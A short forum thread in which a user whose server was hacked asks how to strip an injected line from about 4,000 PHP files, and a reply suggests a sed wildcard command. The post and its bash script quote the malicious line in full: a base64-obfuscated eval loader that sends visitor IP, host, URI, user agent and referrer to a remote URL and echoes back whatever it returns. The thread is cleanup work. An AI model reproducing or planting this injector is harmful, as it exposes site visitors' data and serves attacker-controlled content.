LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   Complex Find and Replace using sed or other tool (https://www.linuxquestions.org/questions/linux-newbie-8/complex-find-and-replace-using-sed-or-other-tool-909909/)

marco114 10-24-2011 05:14 PM

Complex Find and Replace using sed or other tool
 
SUPER SORRY FOR THE LONG LINE.. I need to explain..

A server of mine was hacked recently and the hacker added a line of code to every .php file in my directory. There's about 4,000 files so I need some script to remove this malicious code below:

PHP Code:

<?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip $_SERVER['REMOTE_ADDR'];$host$_SERVER['HTTP_HOST'];$uri urlencode($_SERVER['REQUEST_URI']);$ref urlencode($_SERVER['HTTP_REFERER']);$url $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref$tmp file_get_contents($url); echo $tmp?>


I want to find and replace it with NOTHING. I have tried sed, but with all these characters, it's not working for me.

I tried putting it in a variable also. No luck.

My Poor Attempt at a Bash Script

Code:

#!/bin/bash
OLD="<?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host= $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>"
NEW=""
DPATH="/fixer/orig/*.php"
BPATH="/fixer/orig_bu/foo"
TFILE="/tmp/out.tmp.$$"
[ ! -d $BPATH ] && mkdir -p $BPATH || :
for f in $DPATH
do
  if [ -f $f -a -r $f ]; then
    /bin/cp -f $f $BPATH
  sed "s/$OLD/$NEW/g" "$f" > $TFILE && mv $TFILE "$f"
  else
  echo "Error: Cannot read $f"
  fi
done
/bin/rm -rf $TFILE


countach74 10-24-2011 05:42 PM

You don't need to type in the whole line to sed. Use a wildcard. Something like this should work:

Code:

sed -i 's/<?php $_F=__FILE__;.*//' *.php
Naturally, I would test it first.


All times are GMT -5. The time now is 03:03 AM.